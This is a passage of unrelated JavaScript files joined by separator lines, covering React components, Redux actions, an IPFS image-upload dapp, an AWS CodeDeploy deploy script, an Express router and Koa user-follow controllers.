brush.fill = false;
brush.color = 'blue';
brush.bgcolor = 'red';
var polyline = new MPolyline(points_temp, brush);
maplet.addOverlay(polyline);
//注释代码为线路轨迹回放代码
//lines = item.LineLatLon.split(';');
//startORI();
}
//$("#roadlines").val(strlinelatlon);
// $("#resultcontent").html(tbl_temp);
// $("#showChice").hide();
// $("#showMap").show();
//显示 站名
showstationname(-1);;
}
function getCaptionNumberInfo(oStop) {
var stationinfo = "";
var polesinfo = "";
if (oStop.FacilitiesList != undefined) {
var Facs = oStop.FacilitiesList;
$(Facs).each(function (k) {
if (Facs[k].FacilitiesType == "候车亭") {
if (stationinfo != "") {
stationinfo += "、" + Facs[k].CapitalNumber;
} else {
stationinfo += Facs[k].CapitalNumber;
}
}
else {
if (polesinfo != "") {
polesinfo += "、" + Facs[k].CapitalNumber;
} else {
polesinfo += Facs[k].CapitalNumber;
}
}
});
}
var CaptionNumberInfo = "";
if (stationinfo != "") {
CaptionNumberInfo += stationinfo + "（亭）"
}
if (polesinfo != "") {
CaptionNumberInfo += polesinfo + "（牌）"
}
return CaptionNumberInfo;
}
//显示站名
function showstationname(showtype) {
if (points != null) {
for (var i = 0; i < points.length; i++) {
var omk = points[i];
if (showtype == "-1") {
omk.label.setVisible(false);
}
else {
var Station = $("#cbxStation").attr("checked");
var Pole = $("#cbxPole").attr("checked");
if (showtype == "0") {
var info = omk.info.content;
var lbl = info.substring(info.indexOf('[') + 1, info.indexOf(']'));
omk.setLabel(new MLabel(lbl));
omk.label.setVisible(true);
}
else if (showtype == "1") {
var info = omk.info.content;
var txt = info.replace(/<\/?.+?>/g, "").replace('资产编号', '*').replace("站点照片", "#");
var lbl = txt.substring(txt.indexOf('*') + 1, txt.indexOf('#'));
if ((Station && Pole) || (!Station && !Pole)) {
omk.setLabel(new MLabel(lbl));
}
else if (Station) {
if (lbl.indexOf('亭') > -1 && lbl.indexOf('牌') > -1) {
var infos = lbl.split('）');
if (infos[0].indexOf('亭') > -1) {
omk.setLabel(new MLabel(infos[0].replace('（亭', "")))
}
else if (infos[1].indexOf('亭') > -1) {
omk.setLabel(new MLabel(infos[1].replace('（亭', "")))
}
}
else {
omk.setLabel(new MLabel(lbl.replace('（亭）', "")));
}
}
else if (Pole) {
if (lbl.indexOf('亭') > -1 && lbl.indexOf('牌') > -1) {
var infos = lbl.split('）');
if (infos[0].indexOf('牌') > -1) {
omk.setLabel(new MLabel(infos[0].replace('（牌', "")))
}
else if (infos[1].indexOf('牌') > -1) {
omk.setLabel(new MLabel(infos[1].replace('（牌', "")))
}
}
else {
omk.setLabel(new MLabel(lbl.replace('（牌）', "")));
}
}
omk.label.setVisible(true);
}
}
}
}
maplet.refresh();
}
//正则获取url的值
function getQueryString(name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i");
// name = name.replace("?", "").split('&');
var r = window.location.search.substr(1).match(reg);
// var r = name.split('=');
if (r != null && r != "") return r[2]; return null;
}
//控制文本显示、隐藏
function ShowHiden(show, hide) {
$("#" + show).css("display", "block");
$("#" + show).val("");
$("#" + hide).css("display", "none");
$("#" + hide).val("");
}
function ShowHiden1(show, hide) {
$("#" + show).css("display", "block");
//$("#" + show).val("");
$("#" + hide).css("display", "none");
// $("#" + hide).val("");
}
//function refesh() {
// setInterval(load, 30000);
//}
//function load()
//{
// location.reload();
//}
|
import axios from 'axios';
import { SET_CARDS, SET_SEARCH, SET_CURRENT_CARD } from './actionTypes';
// Load Cards
export const loadCards = () => async (dispatch) => {
try {
const res = await axios.get('/'); //what page will this cards be on?
console.log('LOAD CARDS SUCCESS', res);
dispatch({
type: SET_CARDS,
payload: res.data,
});
} catch (err) {
console.log('error', err);
}
};
export const setSeatch = (searchTerm) => {
return {
type: SET_SEARCH,
payload: searchTerm,
};
};
export const setCurrentTask = (cardId) => {
return {
type: SET_CURRENT_CARD,
payload: cardId,
};
};
|
/**********************
slide owl-carousel
**********************/
$(document).ready(function(){
$('.slide-aective').owlCarousel({
items:1,
autoplay:true,
smartSpeed:700,
loop:true
})
});
/**********************
categoryall owl-carousel
**********************/
$(document).ready(function(){
$('.phonetablet').owlCarousel({
items:1,
dots:false,
nav:true,
autoplay:true,
navText:['<i class="fas fa-angle-left"></i>','<i class="fas fa-angle-right"></i>'],
smartSpeed:700,
loop:true
})
});
/**********************
panjabisall owl-carousel
**********************/
$(document).ready(function(){
$('.panjabiactive').owlCarousel({
items:4,
dots:false,
nav:true,
navText:['<i class="fas fa-angle-left"></i>','<i class="fas fa-angle-right"></i>'],
smartSpeed:700,
loop:true
})
});
|
// import { Popover } from 'bootstrap';
import React from "react";
import moment from "moment";
import { Link, useParams } from "react-router-dom";
import { useSelector } from "react-redux";
const SingleProjectCard = ({ project, page, team_lead_name }) => {
//formate date
let date = new Date(project.start_date);
const dateString = moment(date).format("YYYY-MM-DD");
return (
<div className="ui card">
<div className="content">
<div
className="header"
style={{ textTransform: "capitalize", color: "darkblue" }}
>
Project: {project.project_name}
</div>
</div>
<div
className="content"
style={{
display: "flex",
justifyContent: "space-between",
alignItems: "flex-start",
}}
>
<div
className=""
style={{
display: "flex",
justifyContent: "center",
flexDirection: "column",
marginTop: "5px",
}}
>
<span>
{" "}
Start Date: <strong> {dateString}</strong>
</span>
<span>
{" "}
Duration: <strong> {project.duration}</strong>
</span>
</div>
</div>
{/* <div
className="team"
style={{
display: "flex",
flexDirection: "column",
color: "black",
padding: "10px",
}}
>
<span>
<strong>Team Lead:</strong>
{team_lead_name.username} {team_lead_name.full_name}
</span>
<span>
{" "}
<strong>Initial Activity:</strong> {project.initial_activity}
</span>
</div> */}
<div
style={{
display: "flex",
justifyContent: "center",
marginBottom: "10px",
}}
>
<button className="ui teal basic button">
{" "}
<Link
to={`/project/${project.id}`}
style={{ textDecoration: "none" }}
>
see more details
</Link>{" "}
</button>
</div>
</div>
);
};
export default SingleProjectCard;
|
import React from 'react';
import {startServer} from '../api/server'
class StartServerButton extends React.Component {
render() {
const onClick = () => {
startServer();
this.props.onClick();
}
return <button onClick={onClick}>Start server</button>;
}
}
export default StartServerButton;
|
import { useEffect } from 'react'
import { useSelector, useDispatch } from 'react-redux'
// Pages
import Login from './Pages/Auth/Login'
import Content from './Pages/Content/Content'
//styling components
import './index.css'
import 'semantic-ui-css/semantic.min.css'
import ReactNotification from 'react-notifications-component'
import 'react-notifications-component/dist/theme.css'
// helpers
import { getItem } from './Helpers/LocalStorage/LocalStorage'
// action types
import { SETUSER } from './Reducers/actionTypes'
function App() {
// keep track of authenticated user
const user = useSelector(state => state.user)
const dispatch = useDispatch()
useEffect(() => {
let refreshToken = getItem('usertoken')
let email = getItem('email')
let uid = getItem('uid')
// verify this first
if (refreshToken && email && uid) {
dispatch({
type: SETUSER,
token: refreshToken,
email: email,
user: uid
})
}
})
return (
<>
<ReactNotification />
{
!user ? (
<Login/>
) : (
<>
<Content />
</>
)
}
</>
);
}
export default App;
|
import React, { Component } from 'react'
import Gallery from 'react-photo-gallery'
import Lightbox from 'react-images'
import { Security, ImplicitCallback } from '@okta/okta-react'
import SimpleStorageContract from './contracts/SimpleStorage.json'
import getWeb3 from './utils/getWeb3'
import ipfs from './ipfs'
import './css/pure-min.css'
import './App.css'
var Loader = require('react-loader');
const config = {
issuer: 'https://dev-313450.oktapreview.com/oauth2/default',
redirect_uri: window.location.origin + '/implicit/callback',
client_id: '0oahatmlpmIy2tm7v0h7'
}
const photos= [
/*
{
src: "https://ipfs.io/ipfs/QmXTGTkN2LxP3aeAw12Lf25Q9mZgL8xYKUNbqMEueCGyEk",
width: 1,
height: 1
},
{
src: "https://ipfs.io/ipfs/QmefX88N41ga9ZT6Ya23pERtSsDWNLLPawPKGFoqmievLa",
width: 1,
height: 1
}
*/
];
class App extends Component {
constructor(props) {
super(props)
this.state = {
ipfsHash: '',
web3: null,
buffer: null,
account: null,
number: 0,
currentImage: 0,
loadingImages: false,
recentImages: []
}
this.closeLightbox = this.closeLightbox.bind(this);
this.openLightbox = this.openLightbox.bind(this);
this.gotoNext = this.gotoNext.bind(this);
this.gotoPrevious = this.gotoPrevious.bind(this);
this.captureFile = this.captureFile.bind(this);
this.onSubmit = this.onSubmit.bind(this);
this.loadImages = this.loadImages.bind(this);
}
componentWillMount() {
// Get network provider and web3 instance.
// See utils/getWeb3 for more info.
getWeb3
.then(results => {
this.setState({
web3: results.web3
})
// Instantiate contract once web3 provided.
this.instantiateContract()
})
.catch(() => {
console.log('Error finding web3.')
})
}
async instantiateContract() {
/*
* SMART CONTRACT EXAMPLE
*
* Normally these functions would be called in the context of a
* state management library, but for convenience I've placed them here.
*/
const contract = require('truffle-contract')
const simpleStorage = contract(SimpleStorageContract)
simpleStorage.setProvider(this.state.web3.currentProvider)
console.log('Starting Contract getting account')
// Get accounts.
this.state.web3.eth.getAccounts( async (error, accounts) => {
simpleStorage.deployed().then(async (instance) => {
this.simpleStorageInstance = instance
this.setState({ account: accounts[0] })
// Get the value from the contract to prove it worke/d.
this.loadImages();
//console.log("Array after function call" + this.state.recentImages);
return this.simpleStorageInstance.get(2)
}).then((ipfsHash) => {
// Update state with the result.
// await this.loadImages();
this.setState({ ipfsHash})
})
})
}
onSubmit(event) {
event.preventDefault()
var exit = 0;
ipfs.files.add(this.state.buffer, (error, result) => {
for(let i = 0; i < this.state.recentImages.length; i++){
let object = this.state.recentImages[i];
if(result[0].hash == object.hashContent){
console.log("reeeepost");
exit = 1;
return
}
}
if(exit == 1){
console.log("exit");
return
}
if(error) {
console.error(error)
return
}
this.simpleStorageInstance.set(result[0].hash, { from: this.state.account }).then((r) => {
return this.setState({ ipfsHash: result[0].hash })
})
//console.log('saving ifpsHash-'+ this.state.ipfsHash)
})
}
captureFile(event) {
event.preventDefault()
const file = event.target.files[0]
const reader = new window.FileReader()
reader.readAsArrayBuffer(file)
reader.onloadend = () => {
this.setState({ buffer: Buffer(reader.result) })
//console.log('buffer' + this.state.buffer)
}
}
loadImages(){
this.setState({loadingImages: true, recentImages: []});
let recentImages = [];
//let photos = [];
console.log("loading image");
this.simpleStorageInstance.lastHashId ({from: this.state.account}).then((lastHash) =>{
console.log("loading image");
for(let i = lastHash; i >= 1; i--){
this.simpleStorageInstance.get(i, {form: this.state.account}).then((recentHash) => {
console.log("loading image");
let photo = {src:"",width:1,height:1};
let submission = {};
var ipfs = "https://ipfs.io/ipfs/"
var hash = recentHash[0];
var url = ipfs.concat(hash);
console.log("URL-"+url);
photo.src = url;
var img = new Image();
img.src = url;
console.log(img.width+" "+img.height);
photo.width = img.width;
photo.height = img.height;
photos.push(photo);
//this.setState(photos: photos);
submission.hashContent = recentHash[0];
submission.sender = recentHash[1];
submission.time = recentHash[2].toNumber();
submission.hashId = i.toString();
recentImages.push(submission);
this.setState(recentImages: recentImages);
})
}
return this.setState({loadingImages: false, recentImages: recentImages});
})
}
openLightbox(event, obj) {
this.setState({
currentImage: obj.index,
lightboxIsOpen: true,
});
}
closeLightbox() {
this.setState({
currentImage: 0,
lightboxIsOpen: false,
});
}
gotoPrevious() {
this.setState({
currentImage: this.state.currentImage - 1,
});
}
gotoNext() {
this.setState({
currentImage: this.state.currentImage + 1,
});
}
renderImages(submission){
return(
<div className="RecentImage" >
<div className="pure-g" >
<div className="pure-u-1-2">
<div className="pure-g">
<div className="pure-u-1-1">
<label className="submission-label">Sender:</label>
<span className="submission-id">{submission.sender}</span>
</div>
</div>
<div className="pure-g">
<div className="pure-u-1-1">
<label className="submission-label">Time:</label>
<span className="submission-timestamp">{new Date(submission.time*1000).toISOString()}</span>
</div>
</div>
<div className="pure-g">
<div className="pure-u-1-1">
<label className="submission-label">Hash:</label>
<span className="submission-hashID">{submission.hashId}</span>
</div>
</div>
</div>
<div className="pure-u-1-2">
<img className="pure-img" src={`https://ipfs.io/ipfs/${submission.hashContent}`} alt=""/>
</div>
</div>
</div>);
}
render() {
return (
<div className="App">
<nav className="navbar pure-menu pure-menu-horizontal">
<a href="#" className="pure-menu-heading pure-menu-link">IPFS File Upload DApp</a>
</nav>
<main className="container">
<div className="pure-g">
<div className="pure-u-1-1">
<h1>Your Image</h1>
<p>This Meme is being stored on DatBoiCoin</p>
<h2>Upload Image</h2>
<form onSubmit={this.onSubmit} >
<input type='file' onChange={this.captureFile} />
<input type='submit' />
</form>
</div>
</div>
<div className="RecentSubmissions">
<div className="pure-u-1-1">
<h3>Recent Submissions</h3>
<Loader loaded={!this.state.loadingImages}>
{/* {this.state.recentImages.map((submission) => this.renderImages(submission))} */}
<div className="test">
<Gallery photos={photos} onClick={this.openLightbox}/>
<Lightbox images={photos}
onClose={this.closeLightbox}
onClickPrev={this.gotoPrevious}
onClickNext={this.gotoNext}
currentImage={this.state.currentImage}
isOpen={this.state.lightboxIsOpen}
/>
</div>
</Loader>
</div>
</div>
</main>
</div>
);
}
}
export default App
|
import React from "react";
import { render, fireEvent, cleanup } from "@testing-library/react";
import NewMessageForm from "./../NewMessageForm";
describe("<NewMessageForm/>", () => {
let getByTestId;
afterEach(cleanup);
describe("clicking the send button", () => {
let sendHandler;
beforeEach(() => {
//Mock function also known as spies => Permet d'espionner le comportement d'une function
sendHandler = jest.fn();
//Render the component
({ getByTestId } = render(<NewMessageForm onSend={sendHandler} />));
//Ajouter un message
fireEvent.change(getByTestId("messageText"), {
target: { value: "New message" }
});
//Performer un clique event
fireEvent.click(getByTestId("sendButton"));
});
//Tester la résultat
it("Should clear the message after successful click", () => {
expect(getByTestId("messageText").value).toEqual("");
});
//? Next => The way we can send data to the parent component is by taking in an
// event handler and calling it.
//
it("Call the send handler", () => {
expect(sendHandler).toHaveBeenCalledWith("New message");
});
});
});
|
import React, { Component } from 'react';
import { connect } from 'react-redux';
import { Paper } from 'material-ui';
import { getUsers, createUser, saveUser } from '../actions/users';
import { cancelEdit } from '../actions/route';
import EditEntity from '../components/admin/edit-entity';
import UserForm from '../components/admin/user-form';
@connect(state => ({
users: state.users
}))
export default class EditUser extends Component {
componentDidMount() {
if (!this.isNew() && !this.findUser()) {
this.props.dispatch(getUsers());
}
}
isNew() {
return this.props.params.userId === 'new';
}
findUser() {
return this.props.users.find(user => user.id === this.props.params.userId);
}
render() {
return (
<EditEntity
title={(this.isNew() ? 'Add' : 'Edit') + ' User'}
doSave={::this.saveForm}
doCancel={() => this.props.dispatch(cancelEdit())}>
<UserForm ref="form" user={this.findUser()} />
</EditEntity>
);
}
saveForm() {
const data = this.refs.form.getData();
if (data) {
const action = this.isNew() ? createUser : saveUser;
this.props.dispatch(action(data));
}
}
}
|
'use strict';
const BOOKS_IN_PAGE = 5;
const STORAGE_KEY = 'books';
var gSortBy;
var gCurrPage = 1;
var gBooks = createBooks();
function getBooksForDisplay() {
var from = (gCurrPage - 1) * BOOKS_IN_PAGE;
var to = from + BOOKS_IN_PAGE;
return gBooks.slice(from, to);
}
function getBook(bookId) {
return gBooks.find(book => book.id === bookId);
}
function removeBook(bookId) {
var idx = gBooks.findIndex(book => book.id === bookId);
if (idx === -1) return;
gBooks.splice(idx, 1);
saveToStorage(STORAGE_KEY, gBooks);
}
function addBook(nameEn, nameHe, price) {
var book = createBook(nameEn, nameHe, price);
gBooks.push(book);
sortBooks(gSortBy, gBooks);
saveToStorage(STORAGE_KEY, gBooks);
}
function updateBook(id, nameEn, nameHe, price) {
var book = getBook(id);
book.name['en'] = nameEn;
book.name['he'] = nameHe;
book.price = price;
saveToStorage(STORAGE_KEY, gBooks);
}
function rateBook(bookId, inc) {
var book = getBook(bookId);
if (book.rating + inc <= 10 && book.rating + inc >= 0) {
book.rating += inc;
saveToStorage(STORAGE_KEY, gBooks);
}
return book.rating;
}
function changePage(inc) {
var lastPage = Math.ceil(gBooks.length / BOOKS_IN_PAGE);
if (gCurrPage + inc <= lastPage && gCurrPage + inc >= 1) {
gCurrPage += inc;
}
}
function setBooksSort(sortBy, lang) {
if (lang || gSortBy !== sortBy) {
// sent here by onSortChange() from onSetLang() or
// sent here by onSortChange() from user click - new sort
gSortBy = sortBy;
sortBooks(gSortBy, gBooks);
} else { // sent here by onSortChange() from user click - same sort but reversed
gBooks.reverse();
}
saveToStorage(STORAGE_KEY, gBooks);
}
function sortBooks(sortBy, books) {
if (sortBy === 'name') {
let lang = getLang();
books.sort((a, b) => {
return (a.name[lang].toUpperCase() > b.name[lang].toUpperCase()) ? 1 : (a.name[lang].toUpperCase() < b.name[lang].toUpperCase()) ? -1 : 0;
});
} else if (sortBy === 'price') books.sort((a, b) => a.price - b.price);
}
function createBooks() {
var books = loadFromStorage(STORAGE_KEY);
if (!books) books = [createBook('The HitchHiker`s Guide to the Galaxy', 'המדריך לטרמפיסט בגלקסיה', 42, 'img/hitchhikersGuide.jpeg'),
createBook('Harry Potter and the Philosopher`s Stone', 'הארי פוטר ואבן החכמים', 70, 'img/HarryPotterPhilosophersStone.jpg'),
createBook('Harry Potter and the Chamber of Secrets', 'הארי פוטר וחדר הסודות', 70, 'img/HarryPotterChamberofSecrets.jpg'),
createBook('Harry Potter and the Prisoner of Azkaban', 'הארי פוטר והאסיר מאזקבאן', 70, 'img/HarryPotterPrisonerofAzkaban.jpg'),
createBook('Harry Potter and the Goblet of Fire', 'הארי פוטר וגביע האש', 70, 'img/HarryPotterGobletofFire.jpg'),
createBook('The Catcher in the Rye', 'התפסן בשדה השיפון', 50, 'img/CatcherintheRye.jpg'),
createBook('Catch-22', 'מילכוד 22', 30, 'img/Catch22.jpg'),
createBook('The Hobbit', 'ההוביט', 75, 'img/TheHobbit.jpeg'),
createBook('Oh, the Places You`ll Go!', 'אם יוצאים מגיעים למקומות נפלאים!', 20, 'img/OhthePlacesYoullGo.jpg')];
sortBooks(gSortBy, books);
saveToStorage(STORAGE_KEY, books);
return books;
}
function createBook(nameEn, nameHe, price, img = 'img/bookNotPictured.jpg') {
return {
id: makeId(),
name: {en: nameEn, he: nameHe},
price: price,
imgUrl: img,
rating: 0
};
}
|
#!/usr/bin/env node
const AWS = require('aws-sdk')
const url = require('url')
const Listr = require('listr')
const inquirer = require('inquirer')
const inquirerAutocomplete = require('inquirer-autocomplete-prompt')
inquirer.registerPrompt('autocomplete', inquirerAutocomplete)
const sleep = (timeout) => new Promise((resolve) => setTimeout(resolve, timeout))
const codedeploy = new AWS.CodeDeploy({
region: 'eu-west-1'
})
const main = async () => {
const listApplicationsResponse = await new Promise((resolve, reject) => {
codedeploy.listApplications((err, data) => err ? reject(err) : resolve(data))
})
const availableApplications = listApplicationsResponse.applications
availableApplications.sort()
const {
application
} = await inquirer.prompt({
type: 'autocomplete',
name: 'application',
message: 'Which application?',
async source (answers, input) {
if (!input) return availableApplications
return availableApplications.filter(application => application.includes(input))
}
})
const listDeploymentGroupsResponse = await new Promise((resolve, reject) => {
codedeploy.listDeploymentGroups({
applicationName: application
}, (err, data) => err ? reject(err) : resolve(data))
})
const availableDeploymentGroups = listDeploymentGroupsResponse.deploymentGroups
availableDeploymentGroups.sort()
const {
deploymentGroup,
revisionArchive
} = await inquirer.prompt([
{
type: 'autocomplete',
name: 'deploymentGroup',
message: 'Which deployment group?',
async source (answers, input) {
if (!input) return availableDeploymentGroups
return availableDeploymentGroups.filter(deploymentGroup => deploymentGroup.includes(input))
}
},
{
type: 'input',
name: 'revisionArchive',
message: 'Paste an S3 revision archive'
}
])
const parsedRevisionArchive = url.parse(revisionArchive, true)
if (parsedRevisionArchive.protocol !== 's3:') throw new Error(`Invalid protocol for '${revisionArchive}'`)
const bundleType = parsedRevisionArchive.pathname.endsWith('tar.gz') ? 'tgz'
: parsedRevisionArchive.pathname.endsWith('tar') ? 'tar'
: parsedRevisionArchive.pathname.endsWith('zip') ? 'zip'
: undefined
if (!bundleType) throw new Error(`Invalid bundle type for '${revisionArchive}'`)
const createDeploymentResponse = await new Promise((resolve, reject) => {
codedeploy.createDeployment({
applicationName: application,
deploymentGroupName: deploymentGroup,
revision: {
revisionType: 'S3',
s3Location: {
bucket: parsedRevisionArchive.hostname,
key: parsedRevisionArchive.pathname.substring(1),
bundleType
}
}
}, (err, data) => err ? reject(err) : resolve(data))
})
await new Listr([
{
title: 'Waiting...',
task: (ctx, task) => new Promise(async (resolve, reject) => {
let checkStatus = true
while (checkStatus) {
const getDeploymentResponse = await new Promise((resolve, reject) => {
codedeploy.getDeployment({
deploymentId: createDeploymentResponse.deploymentId
}, (err, data) => err ? reject(err) : resolve(data))
})
if (getDeploymentResponse.deploymentInfo.status === 'InProgress') checkStatus = false
else await sleep(2e3)
}
resolve()
})
}
]).run().catch(() => {})
const listDeploymentInstancesResponse = await new Promise((resolve, reject) => {
codedeploy.listDeploymentInstances({
deploymentId: createDeploymentResponse.deploymentId
}, (err, data) => err ? reject(err) : resolve(data))
})
const availableInstances = listDeploymentInstancesResponse.instancesList
const deploymentTasks = []
for (const instance of availableInstances) {
deploymentTasks.push({
title: instance,
task: (ctx, task) => new Promise(async (resolve, reject) => {
let checkStatus = true
let succeeded = false
while (checkStatus) {
const getDeploymentInstanceResponse = await new Promise((resolve, reject) => {
codedeploy.getDeploymentInstance({
deploymentId: createDeploymentResponse.deploymentId,
instanceId: instance
}, (err, data) => err ? reject(err) : resolve(data))
})
// console.log(getDeploymentInstanceResponse)
const status = getDeploymentInstanceResponse.instanceSummary.status
task.title = `${instance} - ${status}`
if (status === 'Failed') {
checkStatus = false
} else if (status === 'Succeeded') {
checkStatus = false
succeeded = true
} else {
await sleep(5e3)
}
}
if (succeeded) resolve()
else reject()
})
})
}
await new Listr(deploymentTasks, {
concurrent: true
}).run().catch(() => {})
}
main()
|
function ubahHuruf(str){
var kamus = 'abcdefghijklmnopqrstuvwxyz';
var arr = [];
var arrBaru = [];
var temp = '';
for(var i = 0; i < str.length; i++){
arr.push(str[i]);
}
for(var i = 0; i < arr.length; i++){
for(var j = 0; j < kamus.length; j++){
if(arr[i] === kamus[j]){
arrBaru.push(j+1);
}
}
}
for(var i = 0; i < arrBaru.length; i++){
if(arrBaru[i] === 26){
arrBaru[i] = 0;
}
temp += kamus[arrBaru[i]];
}
return temp;
}
// TEST CASES
console.log(ubahHuruf('wow')); // xpx
console.log(ubahHuruf('developer')); // efwfmpqfs
console.log(ubahHuruf('javascript')); // kbwbtdsjqu
console.log(ubahHuruf('keren')); // lfsfo
console.log(ubahHuruf('semangat')); // tfnbohbu
console.log(ubahHuruf('hizam')); // ijabn
|
'use strict';
describe('Service: llConstants', function () {
// load the service's module
beforeEach(module('laoshiListApp'));
// instantiate service
var llConstants;
beforeEach(inject(function (_llConstants_) {
llConstants = _llConstants_;
}));
it('should do something', function () {
expect(!!llConstants).toBe(true);
});
});
|
var router = require('express').Router();
var Goal = require('./goalModel');
var lib = require('../lib/lib');
router.get('/', function(req, res) {
Goal.find({}, function(err, result) {
if(req.query.published && req.query.published === "true") {
var publishedGoals = result.filter(function(obj) {
return obj.published == true;
});
res.json(err || publishedGoals);
}
else {
res.json(err || result);
}
});
});
router.post('/', function(req, res) {
var newGoal = new Goal(req.body);
newGoal.save(function(err, result) {
res.json(err || result);
});
});
router.get('/:id', function(req, res) {
Goal.findOne({'_id': req.params.id}, function(err, result) {
res.json(err || result);
});
});
router.post('/:id', function(req, res) {
Goal.findOne({'_id': req.params.id}, function(err, result) {
for(var key in req.body) {
if(result[key] !== req.body[key]) {
result[key] = req.body[key];
}
}
result.save(function(err, result) {
res.json(err || result);
});
});
});
router.delete('/:id', function(req, res) {
Goal.findOneAndRemove({'_id': req.params.id}, function(err, result) {
res.json(err || result);
});
});
module.exports = router;
|
let someArr=[[4, 5, 1, 3],[21212,232,1211212],[1,2]];
function largestOfFour(arr) {
let maxNumArr=[];
let biggestNumber=0;
for(let i=0;i<arr.length;i++){
let initialIndex=0;
for(let j=0;j<arr[i].length;j++){
if(arr[i][initialIndex]>arr[i][j]){
biggestNumber=arr[i][initialIndex];
} else /*if(arr[i][initialIndex]<arr[i][j])*/{
biggestNumber=arr[i][j];
initialIndex=j;
}
}
maxNumArr.push(biggestNumber);
}
return console.log(maxNumArr);
}
largestOfFour(someArr);
|
import React from 'react';
const NewsCard = (news) =>{
return(
<a href={news.news.url} className="ui centered card">
<div className="image">
<img src={news.news.urlToImage} alt=""/>
</div>
<div className="content">
<h3>{news.news.title}</h3>
</div>
</a>
);
}
export default NewsCard;
|
var video = document.querySelector('box');
var constraints = window.constraints = {
audio: false,
video: true
};
async function startCapture(displayMediaOptions) {
// create the unique token for this call
var token = Date.now()+"-"+Math.round(Math.random()*10000);
call_token = "#"+token;
var Wss2Server = new WebSocket('ws://localhost:5000');
document.location.hash = call_token;
Wss2Server.onopen = function() {
// tell the signaling server you have joined the call
console.log("sending 'join' signal for call token:"+call_token);
Wss2Server.send(
JSON.stringify({
token:call_token,
type:"join",
})
);
}
// setup caller signal handler
Wss2Server.onmessage = function(event) {
console.log(`[message] Data received from server: ${event.data}`);
};
Wss2Server.onclose = function(event) {
if (event.wasClean) {
console.log(`[close] Connection closed cleanly, code=${event.code} reason=${event.reason}`);
} else {
// e.g. server process killed or network down
// event.code is usually 1006 in this case
alert('[close] Connection died');
}
};
Wss2Server.onerror = function(error) {
console.log(`[error] ${error.message}`);
};
//Get & show the stream.
const stream = await navigator.mediaDevices.getUserMedia(constraints);
const video = document.querySelector('video');
const videoTracks = stream.getVideoTracks();
window.stream = stream;
video.srcObject = stream;
};
|
module.exports = function (application) {
application.get("/sobre", function (req, res) {
res.render("sobre-mim");
});
}
|
'use strict';
let U = require('../library/util');
exports.setting = function* () {
try {
let body = U.extend(this.request.body, {
attention_to_users: null,
attention_to_books: null,
attention_to_musics: null
}, U.extend.RN);
if (body.schools && body.schools.length) {
body.schools = body.schools.sort(function(a, b) {
return (a.from || 0) - (b.from || 0);
});
}
let m_user = this.mongoose.model('user');
let user = yield m_user.findOne({_id: this.user._id});
if (!user) {
this.status = 410;
this.body = {message: '用户不存在'};
return ;
}
if (body.father_id) {
let father = yield m_user.findOne({_id: body.father_id});
if (!father) {
this.status = 410;
this.body = {message: '父亲不存在'};
return ;
}
user.father = father._id;
if (!~father.children.indexOf(user._id)) {
father.children.push(user._id);
yield father.save();
}
}
if (body.mother_id) {
let mother = yield m_user.findOne({_id: body.mother_id});
if (!mother) {
this.status = 410;
this.body = {message: '母亲不存在'};
return ;
}
user.mother = mother._id;
if (!~mother.children.indexOf(user._id)) {
mother.children.push(user._id);
yield mother.save();
}
}
if (body.lover_id) {
let lover = yield m_user.findOne({_id: body.lover_id});
if (!lover) {
this.status = 410;
this.body = {message: '爱人不存在'};
return ;
}
user.lover = lover._id;
}
if (body.name) user.name = body.name;
if (body.nickname) user.nickname = body.nickname;
if (body.email) user.email = body.email;
if (body.qq) user.qq = body.qq;
if (body.birthday) user.birthday = body.birthday;
if (body.gender) user.gender = body.gender;
if (body.schools) user.schools = body.schools;
let ret = yield user.save();
this.status = 200;
this.body = {message: '成功', data: ret};
} catch (e) {
console.log(e.stack);
if (e.message === 'user validation failed') {
this.status = 400;
this.body = {message: '参数有误'};
return ;
}
this.status = 500;
}
}
exports.attentionToUser = function* () {
try {
let user_id = this.request.body.user_id;
let UserModel = this.mongoose.model('user');
// 查找目标用户
let e_user = new UserModel({_id: user_id, disable: false});
if (!e_user) {
this.status = 410;
this.body = {message: '目标用户不存在'};
return ;
}
if (!~e_user.followers.indexOf(this.user._id)) {
e_user.followers.push(this.user._id);
}
yield e_user.save();
// 查找当前用户
let e_me = new UserModel({_id: this.user._id, disable: false});
if (!e_me) {
this.status = 410;
this.body = {message: '当前用户不存在'};
return ;
}
if (!~e_me.attention_to_users.indexOf(user_id)) {
e_me.attention_to_users.push(user_id);
}
yield e_me.save();
this.status = 200;
this.body = {message: '成功'};
} catch (e) {
console.log(e.stack);
this.status = 500;
}
}
exports.cancelAttentionToUser = function* () {
try {
let user_id = this.request.body.user_id;
let UserModel = this.mongoose.model('user');
let index;
// 查找目标用户
let e_user = new UserModel({_id: user_id, disable: false});
if (!e_user) {
this.status = 410;
this.body = {message: '目标用户不存在'};
return;
}
if (~(index = e_user.followers.indexOf(this.user._id))) {
e_user.followers.splice(index, 1);
}
yield e_user.save();
// 查找当前用户
let e_me = new UserModel({_id: this.user._id, disable: false});
if (!e_me) {
this.status = 410;
this.body = {message: '当前用户不存在'};
return;
}
if (~(index = e_me.attention_to_users.indexOf(user_id))) {
e_me.attention_to_users.splice(index, 1);
}
yield e_me.save();
this.status = 200;
this.body = {message: '成功'};
} catch (e) {
console.log(e.stack);
this.status = 500;
}
}
exports.collectBookList = function* () {
try {
let book_list_id = this.request.body.book_list_id;
let UserModel = this.mongoose.model('user');
let BookListModel = this.mongoose.model('book_list');
// 查找书单
let e_book_list = new BookListModel({_id: book_list_id, disable: false});
if (!e_book_list) {
this.status = 410;
this.body = {message: '书单不存在'};
return ;
}
if (!~e_book_list.followers.indexOf(this.user._id)) {
e_book_list.push(this.user._id);
yield e_book_list.save();
}
// 查找当前用户
let e_me = new UserModel({_id: this.user._id, disable: false});
if (!e_me) {
this.status = 410;
this.body = {message: '当前用户不存在'};
return ;
}
if (!~e_me.collect_book_list.indexOf(book_list_id)) {
e_me.collect_book_list.push(book_list_id);
yield e_me.save();
}
this.status = 200;
this.body = {message: '成功'};
} catch (e) {
console.log(e.stack);
this.status = 500;
}
};
exports.cancelCollectBookList = function* () {
try {
let book_list_id = this.request.body.book_list_id;
let UserModel = this.mongoose.model('user');
let BookListModel = this.mongoose.model('book_list');
let index;
// 查找书单
let e_book_list = new BookList({_id: book_list_id, disable: false});
if (!e_book_list) {
this.status = 410;
this.body = {message: '书单不存在'};
return ;
}
if (~(index = e_book_list.followers.indexOf(this.user._id))) {
e_book_list.followers.splice(this.user._id, 1);
yield e_book_list.save();
}
// 查找当前用户
let e_me = new UserModel({_id: this.user._id, disable: false});
if (!e_me) {
